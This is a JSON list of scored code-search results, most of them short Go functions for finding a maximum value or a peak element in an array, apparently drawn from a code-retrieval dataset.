[ { "docid": "a85b8d05e2d586e4f4f7b72bd8b56149", "score": "0.65613943", "text": "func peakIndexInMountainArray(A []int) int {\r\n\tmaxEl := 0\r\n\tfor _, a := range A {\r\n\t\tif maxEl < a {\r\n\t\t\tmaxEl = a\r\n\t\t}\r\n\t}\r\n\treturn maxEl\r\n}", "title": "" }, { "docid": "def4b47bef73792e8b7bc41b20dc4baa", "score": "0.62632936", "text": "func (h *MaxHeap) PeakMax() interface{} {\n\treturn h.list[1]\n}", "title": "" }, { "docid": "debaf6a5b112e945c4d1e3ad02aac73a", "score": "0.62163126", "text": "func max(values stats.Float64Data) float64 {\n\ts, err := stats.Max(values)\n\tif err != nil {\n\t\treturn 0\n\t}\n\treturn s\n}", "title": "" }, { "docid": "64a56eafc90c57bf904414a7a91d8c64", "score": "0.6202764", "text": "func (p PowerSupply) VoltageMax() (float64, error) {\n\tv, err := float64From(attributeOf(powerDevice{p}, voltageMaxDesign))\n\treturn v * 1e-6, err\n}", "title": "" }, { "docid": "270de832fb9e6cf6afa33afb195f9b06", "score": "0.60806376", "text": "func ReportMaxVoltageOffset(bus uint8, device uint8, function uint8,\n\tLaneNum uint, ReceiverNum uint) uint8 {\n\treturn testcases.ReportMaxVoltageOffset(bus, device, function,\n\t\tLaneNum, ReceiverNum)\n}", "title": "" }, { "docid": "5e9fe6c1ea2ec8143679d67af744e935", "score": "0.5980745", "text": "func (h *HistogramSnapshotFloat64) Max() float64 { return h.sample.Max() }", "title": "" }, { "docid": "8428f3af8a664f03a7be67ae7b364959", "score": "0.5904531", "text": "func (h *StandardHistogramFloat64) Max() float64 { return h.sample.Max() }", "title": "" }, { "docid": "04bd6d63c17bf071bec262e0a12cfd4c", "score": "0.589124", "text": "func (tp *TRCParams) GeFmMaxAvg(max, avg float32) float32 {\n\tdeff := (1-tp.AvgMix)*max + tp.AvgMix*avg\n\treturn tp.DriveGe(deff)\n}", "title": "" }, { "docid": "d9c73fa16d28b4b6f26cb588d5657430", "score": "0.586865", "text": "func (w *BandwidthWriter) Max() uint64 {\n\treturn uint64(w.histogram.Max())\n}", "title": "" }, { "docid": "163f998ee9bf0634a633fe00e585c916", "score": "0.5842074", "text": "func (tb *TrackBar) GetRangeMax() int {\n\treturn int(tb.SendMessage(winapi.TBM_GETRANGEMAX, 0, 0))\n}", "title": "" }, { "docid": "db92934fe9c2f2f9e92484fd281089eb", "score": "0.5828271", "text": "func findPeakElement(nums []int) int {\n\t// TODO: 学习如何当作一个数学问题来简化\n\tfor i := 0; i < len(nums) - 1; i++ {\n\t\tif nums[i] > nums[i+1] {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn len(nums) - 1\n}", "title": "" }, { "docid": "2265235092afe46e17e2cabd6ffd0d5c", "score": "0.58193064", "text": "func Peakfind(input []int) int {\n\t// input := []int{1, 3, 5, 5, 4, 6, 3, 2, 1, 4, 7, 3, 4, 2, 5}\n\n\tlast := len(input) - 1\n\tpos := peakFindRecursive(input, 0, last)\n\n\treturn pos\n}", "title": "" }, { "docid": "d4c7114896e05c8051d7b85b21164877", "score": "0.5818574", "text": "func FindPeakElement(nums []int) int {\n\tif len(nums) == 0 {\n\t\treturn -1\n\t}\n\tif len(nums) == 1 {\n\t\treturn 0\n\t}\n\tif len(nums) == 2 {\n\t\tmax := func(i, j int) int {\n\t\t\tif nums[i] > nums[j] {\n\t\t\t\treturn i\n\t\t\t}\n\t\t\treturn j\n\t\t}\n\t\treturn max(0, 1)\n\t}\n\tmax := 0\n\tfor i := 1; i < len(nums)-1; i++ {\n\t\tif nums[i] > nums[max] {\n\t\t\tmax = i\n\t\t}\n\t\tif nums[i-1] < nums[i] && nums[i+1] < nums[i] {\n\t\t\treturn i\n\t\t}\n\t}\n\n\tif nums[len(nums)-1] > nums[max] {\n\t\tmax = len(nums) - 1\n\t}\n\treturn max\n}", "title": "" }, { "docid": "e2a3f1b8388964e11b7542e490c83d46", "score": "0.58090633", "text": "func (h *HistogramInt64) Max() int64 {\n\treturn h.maxval\n}", "title": "" }, { "docid": "b325166ab2b33e2ce499969e6833fc04", "score": "0.57998323", "text": "func (v *HLSVariant) getMaxVideoBitrate() int {\n\treturn int(float64(v.getAllocatedVideoBitrate()) * 1.08)\n}", "title": "" }, { "docid": "be9f419bdf03400232238c49337033b1", "score": "0.5778578", "text": "func findPeakElement(nums []int) int {\n\tl := len(nums)\n\tif l == 0 {\n\t\treturn -1\n\t}\n\ti := 0\n\tj := l - 1\n\tfor i < j {\n\t\tm := i + (j-i)/2\n\t\tif nums[m] > nums[m+1] {\n\t\t\tj = m\n\t\t} else {\n\t\t\ti = m + 1\n\t\t}\n\t}\n\treturn i\n}", "title": "" }, { "docid": "5010dd5c0bbb543d1d28c18a439b1946", "score": "0.5755212", "text": "func Max(input Float64Data) (max float64, err error) {\n\n\t// Return an error if there are no numbers\n\tif input.Len() == 0 {\n\t\treturn 0, errors.New(\"Input must not be empty\")\n\t}\n\n\t// Get the first value as the starting point\n\tmax = input.Get(0)\n\n\t// Loop and replace higher values\n\tfor i := 1; i < input.Len(); i++ {\n\t\tif input.Get(i) > max {\n\t\t\tmax = input.Get(i)\n\t\t}\n\t}\n\n\treturn max, nil\n}", "title": "" }, { "docid": "449cc546605a79c837b7709a6a13093d", "score": "0.5748419", "text": "func PeakIndex(nums []int) int {\n\tif len(nums) == 0 {\n\t\treturn -1\n\t} else if len(nums) == 1 {\n\t\treturn 0\n\t}\n\treturn peakIndex(nums, 0, len(nums)-1)\n}", "title": "" }, { "docid": "a3d6730356b9235b43c7cfd92cce9304", "score": "0.5725262", "text": "func (s *Series) Max() float64 {\n\treturn s.floatFunc(max)\n}", "title": "" }, { "docid": "aaa44026fb995b6cd118092dc52fb0fe", "score": "0.5720781", "text": "func (t *OpenconfigPlatform_Components_Component_Transceiver_State_LaserBiasCurrent) GetMax() float64 {\n\tif t == nil || t.Max == nil {\n\t\treturn 0.0\n\t}\n\treturn *t.Max\n}", "title": "" }, { "docid": "ee5bf4f9e937bfa607bec0e1aa0e4608", "score": "0.56913894", "text": "func (p *RGBAM64) MaxValue() uint16 {\n\treturn uint16(p.Model.M)\n}", "title": "" }, { "docid": "6a5a3e4c836180db56177d0ab9c150d7", "score": "0.56831706", "text": "func (t *OpenconfigPlatform_Components_Component_Transceiver_PhysicalChannels_Channel_State_LaserBiasCurrent) GetMax() float64 {\n\tif t == nil || t.Max == nil {\n\t\treturn 0.0\n\t}\n\treturn *t.Max\n}", "title": "" }, { "docid": "3ff89e33d3a9135e936399838e2b966a", "score": "0.56758255", "text": "func (a *Analysis) GetRecentlyMax(server string, secs int) int {\n\tpoints, ok := a.recentlyPoints[server]\n\n\tif !ok {\n\t\treturn 0\n\t}\n\n\tpoint, ok := points[secs]\n\n\tif !ok {\n\t\treturn 0\n\t}\n\n\treturn int(point.max)\n}", "title": "" }, { "docid": "0ecfb751fbe0b095e954415435655f54", "score": "0.56737703", "text": "func (f *FielddataFrequencyFilter) Max(max float32) *FielddataFrequencyFilter {\n\tf.max = max\n\treturn f\n}", "title": "" }, { "docid": "2ce7bade090efa354b96292352e9c58f", "score": "0.5664776", "text": "func peakIndexInMountainArray(A []int) int {\n\tpeak := A[0]\n\tpeakIndex := 0\n\n\tlength := len(A)\n\tfor i := 1 ; i < length; i++ {\n\t\tif A[i] > peak {\n\t\t\tpeak = A[i]\n\t\t\tpeakIndex = i\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn peakIndex\n}", "title": "" }, { "docid": "c07113c39e39aa3e15c5e9c4e7c2972f", "score": "0.56583065", "text": "func (o GoogleCloudDataplexV1DataQualityRuleStatisticRangeExpectationPtrOutput) MaxValue() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *GoogleCloudDataplexV1DataQualityRuleStatisticRangeExpectation) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.MaxValue\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "5345a54c42de7c6e2667de91c18e44c8", "score": "0.5652994", "text": "func (s *SlidingTimeWindowSample) Max() int64 {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\treturn gomet.SampleMax(s.mappedValue())\n}", "title": "" }, { "docid": "62cdd7c9924ae5e0c969d9d786116ab0", "score": "0.5643886", "text": "func (p *GrayAM) MaxValue() uint16 {\n\treturn uint16(p.Model.M)\n}", "title": "" }, { "docid": "ddbd8bde4a20adc8717c202723b76c6c", "score": "0.56305605", "text": "func (p *RGBAM) MaxValue() uint16 {\n\treturn uint16(p.Model.M)\n}", "title": "" }, { "docid": "9c9b05800f87553ba20c4e91d1e9df6f", "score": "0.5629194", "text": "func (o GoogleCloudDataplexV1DataQualityRuleStatisticRangeExpectationOutput) MaxValue() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v GoogleCloudDataplexV1DataQualityRuleStatisticRangeExpectation) *string { return v.MaxValue }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "b9e3cfc7ab317b19f12a12905bc79cd7", "score": "0.5622752", "text": "func (t *OpenconfigPlatform_Components_Component_OpticalChannel_State_LaserBiasCurrent) GetMax() float64 {\n\tif t == nil || t.Max == nil {\n\t\treturn 0.0\n\t}\n\treturn *t.Max\n}", "title": "" }, { "docid": "c8b7a021668418f48aeebefb9a91f3b9", "score": "0.55935806", "text": "func (o GoogleCloudDataplexV1DataQualityRuleRangeExpectationOutput) MaxValue() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v GoogleCloudDataplexV1DataQualityRuleRangeExpectation) *string { return v.MaxValue }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "bb16f92fd836c2317558dd0de597e17a", "score": "0.5585962", "text": "func (o GoogleCloudDataplexV1DataQualityRuleRangeExpectationPtrOutput) MaxValue() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *GoogleCloudDataplexV1DataQualityRuleRangeExpectation) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.MaxValue\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "031cdbb6b316d70420fa26f19a965a5d", "score": "0.5585133", "text": "func (t *TestResult) MaxElapsedMs() float64 {\n\tx := getElapsedMsArray(t)\n\n\treturn getMax(x)\n}", "title": "" }, { "docid": "94d3267a8840f869b0872e9470881f66", "score": "0.5578602", "text": "func (r *whiteboxRaster) MaximumValue() float64 {\n\tif r.maximumValue == -math.MaxFloat64 {\n\t\tr.minimumValue, r.maximumValue = r.findMinAndMaxVals()\n\t}\n\treturn r.maximumValue\n}", "title": "" }, { "docid": "edcf842b53b5ee248a5e410f4fd7503e", "score": "0.556831", "text": "func (p *RGBM64) MaxValue() uint16 {\n\treturn uint16(p.Model.M)\n}", "title": "" }, { "docid": "c4525001500b8e48ab5269cecf441a23", "score": "0.55635864", "text": "func FindMaxValue(arr []int) (max int) {\n\tmax = 0\n\tfor _, value := range arr {\n\t\tif value > max {\n\t\t\tmax = value\n\t\t}\n\t}\n\treturn max\n}", "title": "" }, { "docid": "25253e570b17b92ab2c4b425686dcc00", "score": "0.5559024", "text": "func findPeakElement(nums []int) int {\n\tif len(nums) == 1 {\n\t\treturn 0\n\t}\n\tif len(nums) == 2 {\n\t\tif nums[0] > nums[1] {\n\t\t\treturn 0\n\t\t}\n\t\treturn 1\n\t}\n\tif nums[0] > nums[1] {\n\t\treturn 0\n\t}\n\tif nums[len(nums)-1] > nums[len(nums)-2] {\n\t\treturn len(nums) - 1\n\t}\n\tfor i := 1; i < len(nums)-1; i++ {\n\t\tif nums[i-1] < nums[i] && nums[i] > nums[i+1] {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn 0\n}", "title": "" }, { "docid": "a662845832c00aedc1f5490b87972155", "score": "0.55505794", "text": "func (r *geotiffRaster) MaximumValue() float64 {\n\tif r.maximumValue == -math.MaxFloat64 {\n\t\tr.minimumValue, r.maximumValue = r.findMinAndMaxVals()\n\t}\n\treturn r.maximumValue\n}", "title": "" }, { "docid": "07180b979a21396387e1d928d7b99cba", "score": "0.55425155", "text": "func FindPeakElement(nums []int) int {\n\tn := len(nums)\n\tif n == 1 {\n\t\treturn 0\n\t}\n\tif n == 2 {\n\t\tif nums[1] > nums[0] {\n\t\t\treturn 1\n\t\t}\n\t\treturn 0\n\t}\n\tif nums[n/2] < nums[(n/2)-1] {\n\t\treturn FindPeakElement(nums[0:n/2])\n\t} else if nums[n/2] < nums[(n/2)+1] {\n\t\treturn (n/2) + 1 + FindPeakElement(nums[(n/2)+1 : n])\n\t} else {\n\t\treturn n/2\n\t}\n}", "title": "" }, { "docid": "6e658ab38539221fc9874cce2393697a", "score": "0.5541198", "text": "func (collector *StatCollector) GetMaximum(measureInd int) float64 {\n\n\tif measureInd < 0 || measureInd > len(collector.measures)-1 {\n\t\tpanic(\"invalid index\")\n\t}\n\tmax := 0.\n\tslice := []float64{}\n\tsize := collector.GetSize(measureInd)\n\tfor i := 0; i < size; i++ {\n\t\tslice = append(slice, collector.samples[i][measureInd])\n\t}\n\t_, max = MinMax(slice)\n\treturn max\n}", "title": "" }, { "docid": "bd760411b2cafaaa78dbb2b31a0c6426", "score": "0.5531275", "text": "func Max(data []float64) float64 {\n\n\tsort.Float64s(data)\n\n\treturn data[len(data)-1]\n}", "title": "" }, { "docid": "8c84631d6b1187af0557345d4b72b620", "score": "0.552221", "text": "func (sl SeriesSlice) Max() float64 {\n\tresult := math.NaN()\n\tfor _, series := range sl {\n\t\tvalue := series.CurrentValue()\n\t\tif math.IsNaN(result) || result < value {\n\t\t\tresult = value\n\t\t}\n\t}\n\treturn result\n}", "title": "" }, { "docid": "08c9f0f73c3de8e2dd8c34ee08f8f769", "score": "0.55090904", "text": "func max(source []complex128) int {\r\n\tmaxVal := 0\r\n\tn := len(source)\r\n\tfor i := 0; i < n; i++ {\r\n\t\ttmp := real(source[i])\r\n\t\tval := int(math.Abs(tmp))\r\n\r\n\t\tif val > maxVal {\r\n\t\t\tmaxVal = val\r\n\t\t}\r\n\t}\r\n\r\n\treturn maxVal\r\n}", "title": "" }, { "docid": "c5f9232747ae4f970cdb7123f784baee", "score": "0.5475266", "text": "func (m Metric) MaxLevel(val float64) int {\n\tif val <= 0 {\n\t\treturn MaxLevel\n\t}\n\n\tlevel := math.Ilogb(m.Deriv/val) >> uint(m.Dim-1)\n\tif level > MaxLevel {\n\t\tlevel = MaxLevel\n\t}\n\tif level < 0 {\n\t\tlevel = 0\n\t}\n\treturn level\n}", "title": "" }, { "docid": "8c719c9c7d89d7520b713fd87d50de49", "score": "0.54742223", "text": "func (p *RGBM) MaxValue() uint16 {\n\treturn uint16(p.Model.M)\n}", "title": "" }, { "docid": "2700cbfcba8f21589e2c2a85dfc9ffd6", "score": "0.547368", "text": "func findMax(numbers []float64) int {\n\tmaxSpot := 0\n\tmaxValue := 0.0\n\tfor i := 0; i < len(numbers); i++ {\n\t\tif (numbers[i] > maxValue) {\n\t\t\tmaxValue = numbers[i]\n\t\t\tmaxSpot = i\n\t\t}\n\t}\n\treturn maxSpot\n}", "title": "" }, { "docid": "38391525ade42a293c5da40a396559b6", "score": "0.5470647", "text": "func (bng *Binning2D) yMax() float64 {\n\treturn bng.YRange.Max\n}", "title": "" }, { "docid": "c87c6411c1e929c311c999c10167c045", "score": "0.5467654", "text": "func (p *GrayAM48) MaxValue() uint16 {\n\treturn uint16(p.Model.M)\n}", "title": "" }, { "docid": "8ae9df654d1b6cdc4e21634fb5c74f69", "score": "0.5458675", "text": "func (px *Paxos) Max() int {\n return px.max\n}", "title": "" }, { "docid": "3264493af07cf82dc481f96199fb13ec", "score": "0.54583484", "text": "func (h *SlideWindow) Max() int64 {\n\tc := h.getCopySortedBuckets()\n\tif len(c) == 0 {\n\t\treturn 0\n\t}\n\n\treturn c[len(c)-1]\n}", "title": "" }, { "docid": "0870068d98a95671f51925a207b3867b", "score": "0.54579663", "text": "func ReportMaxTimingOffset(bus uint8, device uint8, function uint8,\n\tLaneNum uint, ReceiverNum uint) uint8 {\n\treturn testcases.ReportMaxTimingOffset(bus, device, function, LaneNum, ReceiverNum)\n}", "title": "" }, { "docid": "6b9fbb8e8fa864abc153836c6aedb01f", "score": "0.5452153", "text": "func Max(v int64) predicate.Histogram {\n\treturn predicate.Histogram(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldMax), v))\n\t})\n}", "title": "" }, { "docid": "449f0c4f652009f4341b3b4aee962f1a", "score": "0.5447913", "text": "func Max(input []float64) (max float64, err error) {\n\n\t// Return an error if there are no numbers\n\tif len(input) == 0 {\n\t\treturn 0, errors.New(\"Input must not be empty\")\n\t}\n\n\t// Get the first value as the starting point\n\tmax = input[0]\n\n\t// Loop and replace higher values\n\tfor i := 1; i < len(input); i++ {\n\t\tif input[i] > max {\n\t\t\tmax = input[i]\n\t\t}\n\t}\n\n\treturn max, nil\n}", "title": "" }, { "docid": "63fcd50189ac8574e64a185b1092aacd", "score": "0.5445357", "text": "func Max[N constraintsext.Number](x, y N) N {\n\t// special case for floats\n\t// IEEE 754 says that only NaNs satisfy f != f.\n\tif x != x || y != y {\n\t\treturn N(math.NaN())\n\t}\n\n\tif x > y {\n\t\treturn x\n\t}\n\treturn y\n}", "title": "" }, { "docid": "341a3d85acca7703f0a24bbb15479c94", "score": "0.54353595", "text": "func MaxLTE(v int64) predicate.Histogram {\n\treturn predicate.Histogram(func(s *sql.Selector) {\n\t\ts.Where(sql.LTE(s.C(FieldMax), v))\n\t})\n}", "title": "" }, { "docid": "097989eb986a81feeb61de02c4481102", "score": "0.5424202", "text": "func PeakFindBruteForce(input []int) (int, error) {\n\tif len(input) == 0 {\n\t\treturn 0, errors.New(\"empty input\")\n\t} else if len(input) == 1 {\n\t\treturn 0, nil\n\t} else if len(input) == 2 {\n\t\tif input[0] < input[1] {\n\t\t\treturn 1, nil\n\t\t}\n\t\treturn 0, nil\n\t}\n\n\tfor i, v := range input {\n\t\t// If left edge is a peak\n\t\tif i == 0 {\n\t\t\tif v > input[i+1] {\n\t\t\t\treturn i, nil\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\t// If right edge is reached\n\t\tif i == len(input)-1 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif input[i-1] <= v && v >= input[i+1] {\n\t\t\treturn i, nil\n\t\t}\n\t}\n\n\treturn len(input) - 1, nil\n}", "title": "" }, { "docid": "b4afe8623d87b5173b1f15777fd9288a", "score": "0.5418374", "text": "func (image *Image) Max() (max uint64) {\n\treturn image.max\n}", "title": "" }, { "docid": "035a7ee46b8ee1a4ae8274b6512ab137", "score": "0.5408983", "text": "func (h *Hex) Max() int {\n\ts := []int{\n\t\tint(math.Abs(float64(h.x))),\n\t\tint(math.Abs(float64(h.y))),\n\t\tint(math.Abs(float64(h.z))),\n\t}\n\tsort.Ints(s)\n\treturn s[len(s) - 1]\n}", "title": "" }, { "docid": "a0e44f717246d66cd8062734567db659", "score": "0.5406615", "text": "func main() {\n\tfmt.Println(findPeakElement([]int{1, 2, 3, 1}))\n\tfmt.Println(findPeakElement([]int{1, 2, 1, 3, 5, 6, 4}))\n\tfmt.Println(findPeakElement([]int{5, 6, 7, 8}))\n}", "title": "" }, { "docid": "604271a088114f26a249ba6876259909", "score": "0.53912944", "text": "func TestFindPeakElement(t *testing.T) {\n\tvar cases = []struct {\n\t\tinput []int\n\t\toutput int\n\t}{\n\t\t{\n\t\t\tinput: []int{1, 2, 3, 1},\n\t\t\toutput: 2,\n\t\t},\n\t\t{\n\t\t\tinput: []int{1, 2, 1, 3, 5, 6, 4},\n\t\t\toutput: 5,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tx := findPeakElement(c.input)\n\t\tif x != c.output {\n\t\t\tt.Fail()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "1cccea341d7b27c541366e3d61cf2873", "score": "0.53886575", "text": "func (s Segment) Max() Point {\n\treturn s.Source.Max(s.Target)\n}", "title": "" }, { "docid": "698aca4a90926f404e8a238cc92b2dc3", "score": "0.5387153", "text": "func Max(slice []uint64) uint64 {\n\tmax := slice[0]\n\tvar ix uint64 = 1\n\tfor ix < uint64(len(slice)) {\n\t\tif slice[ix] > max {\n\t\t\tmax = slice[ix]\n\t\t}\n\t\tix++\n\t}\n\treturn max\n}", "title": "" }, { "docid": "61bc4e6d125c816cb140bf2e60e7fc12", "score": "0.5382568", "text": "func opF64Max(prgrm *CXProgram) {\n\texpr := prgrm.GetExpr()\n\tfp := prgrm.GetFramePointer()\n\n\toutV0 := math.Max(ReadF64(fp, expr.Inputs[0]), ReadF64(fp, expr.Inputs[1]))\n\tWriteF64(GetFinalOffset(fp, expr.Outputs[0]), outV0)\n}", "title": "" }, { "docid": "1fc85f5a238e32902d5b8275750de3cc", "score": "0.5369161", "text": "func (f *UintFilter) Max(val uint) *UintFilter {\r\n\tf.AddValidator(func(paramName string, paramValue uint) *Error {\r\n\t\tif paramValue > val {\r\n\t\t\treturn NewError(ErrorInvalidParam, paramName, \"TooLarge\")\r\n\t\t}\r\n\t\treturn nil\r\n\t})\r\n\treturn f\r\n}", "title": "" }, { "docid": "e04694ac529d229ce28e5ca2a5b6ec4f", "score": "0.5366352", "text": "func max(a float64, b float64) (res float64) {\n\tif a < b {\n\t\tres = b\n\t} else {\n\t\tres = a\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "93e7e249fd81c2dfd74f9d4ab7e45fb9", "score": "0.53633034", "text": "func (t *OpenconfigPlatform_Components_Component_Transceiver_State_PreFecBer) GetMax() float64 {\n\tif t == nil || t.Max == nil {\n\t\treturn 0.0\n\t}\n\treturn *t.Max\n}", "title": "" }, { "docid": "08b6ee4234a53f657f7091e5c7ff87a4", "score": "0.53376913", "text": "func ExtractMaxScale(m Mat4) float32 {\n\tscaleX := float64(m[0]*m[0] + m[1]*m[1] + m[2]*m[2])\n\tscaleY := float64(m[4]*m[4] + m[5]*m[5] + m[6]*m[6])\n\tscaleZ := float64(m[8]*m[8] + m[9]*m[9] + m[10]*m[10])\n\n\treturn float32(math.Sqrt(math.Max(scaleX, math.Max(scaleY, scaleZ))))\n}", "title": "" }, { "docid": "b2e0ee8686884934cf569fa3d0e40c75", "score": "0.53310704", "text": "func Max(x, y Float) Float {\n\treturn math.Max(x, y)\n}", "title": "" }, { "docid": "6ed7f37d551cc92db83f813d4372bcc9", "score": "0.53288496", "text": "func getMaxValue(maxValue float64, maxReplicaCount int64) float64 {\n\treturn min(maxValue, float64(maxReplicaCount))\n}", "title": "" }, { "docid": "4f8a86dccb961aa01b207e9edc63bb17", "score": "0.5301403", "text": "func (prof *Profiler) cpuMHzMax(x int) (float32, error) {\n\tv, err := ioutil.ReadFile(prof.cpuInfoFreqMaxPath(x))\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\t// insert the . in the appropriate spot\n\tv = append(v[:len(v)-4], append([]byte{'.'}, v[len(v)-4:len(v)-1]...)...)\n\tm, err := strconv.ParseFloat(string(v[:len(v)-1]), 32)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"cpu%d MHz max: conversion error: %s\", x, err)\n\t}\n\treturn float32(m), nil\n}", "title": "" }, { "docid": "aed6c28a07a7a39deb923e512fdb9058", "score": "0.5297687", "text": "func Max(values ...float64) float64 {\n\tmax := values[0]\n\tfor _, i := range values[1:] {\n\t\tif i > max {\n\t\t\tmax = i\n\t\t}\n\t}\n\n\treturn max\n}", "title": "" }, { "docid": "3eb8c37c27d689ff852c1b18fc57a8ed", "score": "0.5297573", "text": "func (o PrometheusSpecQueryOutput) MaxSamples() pulumi.IntPtrOutput {\n\treturn o.ApplyT(func(v PrometheusSpecQuery) *int { return v.MaxSamples }).(pulumi.IntPtrOutput)\n}", "title": "" }, { "docid": "157adafc0fe94f5d4f62287c14a2a360", "score": "0.5296509", "text": "func SortPeakValley(array []int) {\n\tfor i := 1; i < len(array); i += 2 {\n\t\tbiggestIndex := maxIndex(array, i-1, i, i+1)\n\t\tif i != biggestIndex {\n\t\t\tSwapArray(array, i, biggestIndex)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f3fc1d83acdc3451875f8da84726a258", "score": "0.5289391", "text": "func (t *OpenconfigPlatform_Components_Component_Transceiver_State_PostFecBer) GetMax() float64 {\n\tif t == nil || t.Max == nil {\n\t\treturn 0.0\n\t}\n\treturn *t.Max\n}", "title": "" }, { "docid": "38fa305c2d9332eb7655fe24e0f11998", "score": "0.52812123", "text": "func (o OceanFiltersPtrOutput) MaxVcpu() pulumi.IntPtrOutput {\n\treturn o.ApplyT(func(v *OceanFilters) *int {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.MaxVcpu\n\t}).(pulumi.IntPtrOutput)\n}", "title": "" }, { "docid": "8572e9e1c746bcf1bfe17410945a9309", "score": "0.5280081", "text": "func (t *TDigest) Max() float64 {\n\tt.process()\n\treturn t.max\n}", "title": "" }, { "docid": "4f5debc653d171684ad18cdb96e6e109", "score": "0.5278675", "text": "func (wb *Smaevcharger) MaxCurrent(current int64) error {\n\treturn wb.MaxCurrentMillis(float64(current))\n}", "title": "" }, { "docid": "f7f5cdb3cac041598f90e14d78d96372", "score": "0.52780443", "text": "func Max(data List) interface{} {\n\t// For finite sets the maximal value is equal to the\n\t// least upper bound, or supremum. The supremum for\n\t// the empty set is vacuously negative infinity.\n\tif data.Len() == 0 {\n\t\treturn nil\n\t}\n\n\tmax := data.Val(0)\n\tindex := 0\n\tfor i := 1; i < data.Len(); i++ {\n\t\tmass := data.Val(i)\n\t\tif mass > max {\n\t\t\tindex = i\n\t\t\tmax = mass\n\t\t}\n\t}\n\n\treturn data.Get(index)\n}", "title": "" }, { "docid": "ae11ec334d1f89cf9c1f5807cfd7f29a", "score": "0.5269191", "text": "func (wb *Smaevcharger) MaxCurrentMillis(current float64) error {\n\tif current < 6 {\n\t\treturn fmt.Errorf(\"invalid current %.5g\", current)\n\t}\n\n\treturn wb.Send(value(\"Parameter.Inverter.AcALim\", fmt.Sprintf(\"%.2f\", current)))\n}", "title": "" }, { "docid": "659ad11fc05061100e90069a3eff85dd", "score": "0.5254749", "text": "func (r Range) Max() Pt {\n\t_, max := r.MinMax()\n\treturn max\n}", "title": "" }, { "docid": "073f556f3fae6eac2249eb6eed9f06fc", "score": "0.52526754", "text": "func (f *Frame) Max() core.Address {\n\treturn f.max\n}", "title": "" }, { "docid": "5389fae11bcf4bd5d898d057a3aa0bd3", "score": "0.52503943", "text": "func (tm *Team) GetMaxScore() (s int) {\n\tfor _, v := range tm.Scores {\n\t\tif v.Points > s {\n\t\t\ts = v.Points\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "329cac65ca98fa726af786096e023bff", "score": "0.52493596", "text": "func maxArea(h int, w int, horizontalCuts []int, verticalCuts []int) int {\n\tsort.Ints(horizontalCuts)\n\tsort.Ints(verticalCuts)\n\n\thor, ver := 0, 0\n\tpre := 0\n\tfor _, v := range horizontalCuts {\n\t\td := v - pre\n\t\tif d > hor {\n\t\t\thor = d\n\t\t}\n\t\tpre = v\n\t}\n\n\tif hor < h-pre {\n\t\thor = h - pre\n\t}\n\n\tpre = 0\n\tfor _, v := range verticalCuts {\n\t\td := v - pre\n\t\tif d > ver {\n\t\t\tver = d\n\t\t}\n\t\tpre = v\n\t}\n\n\tif ver < w-pre {\n\t\tver = w - pre\n\t}\n\n\treturn (hor * ver) % (1e9 + 7)\n}", "title": "" }, { "docid": "cb28274a5d2d759e8332b3258b31f5ca", "score": "0.52457494", "text": "func (_this *HTMLProgressElement) Max() float64 {\n\tvar ret float64\n\tvalue := _this.Value_JS.Get(\"max\")\n\tret = (value).Float()\n\treturn ret\n}", "title": "" }, { "docid": "fc799041f2e769d7ad49280ee8960ac2", "score": "0.52447003", "text": "func Max(x, y uint64) uint64 {\n\tif x > y {\n\t\treturn x\n\t}\n\treturn y\n}", "title": "" }, { "docid": "e4593bec916df8d8c209113fcaa96efb", "score": "0.524165", "text": "func Max(array [5]int) int {\n\t//set to 0\n\tvar max int = array[0]\n\n\t //iterates to find max value\n for _, value := range array {\n if max < value {\n max = value\n }\n\t}\n return max\n}", "title": "" }, { "docid": "7c1e7d1f2697633115e80da21ba9d011", "score": "0.5239937", "text": "func Max(a []uint8) uint8{\n\tvar max uint8=a[0]\n\tfor i:=0;i<len(a)-1;i++{\n\t\tif max < a[i+1] {max=a[i]}\n\t}\n\treturn max\n}", "title": "" }, { "docid": "cc72aa53e22b5feae211d017ccf30dca", "score": "0.5239127", "text": "func (_this *HTMLMeterElement) Max() float64 {\n\tvar ret float64\n\tvalue := _this.Value_JS.Get(\"max\")\n\tret = (value).Float()\n\treturn ret\n}", "title": "" }, { "docid": "05b6c65ee1a36d483fa1aaac5fd1615d", "score": "0.5236055", "text": "func Maximum(in []float64) (out float64) {\n\tout = float64(0)\n\tfor _, x := range in {\n\t\tif x > out {\n\t\t\tout = x\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "dcf2e9296e43f06234b8d1c5923e8218", "score": "0.5226457", "text": "func Max(max float64) Rule {\n\treturn func(errs Errors, form *multipart.Form, key string) {\n\t\tif form == nil && form.Value == nil {\n\t\t\treturn\n\t\t}\n\t\tfor _, v := range form.Value[key] {\n\t\t\tf, err := strconv.ParseFloat(v, 64)\n\t\t\tif err != nil {\n\t\t\t\terrs.Add(key, &Error{Error: ErrNotNumber})\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif f > max {\n\t\t\t\terrs.Add(key, &Error{Error: ErrMax, Args: []interface{}{i18n.TransInt(max)}})\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": 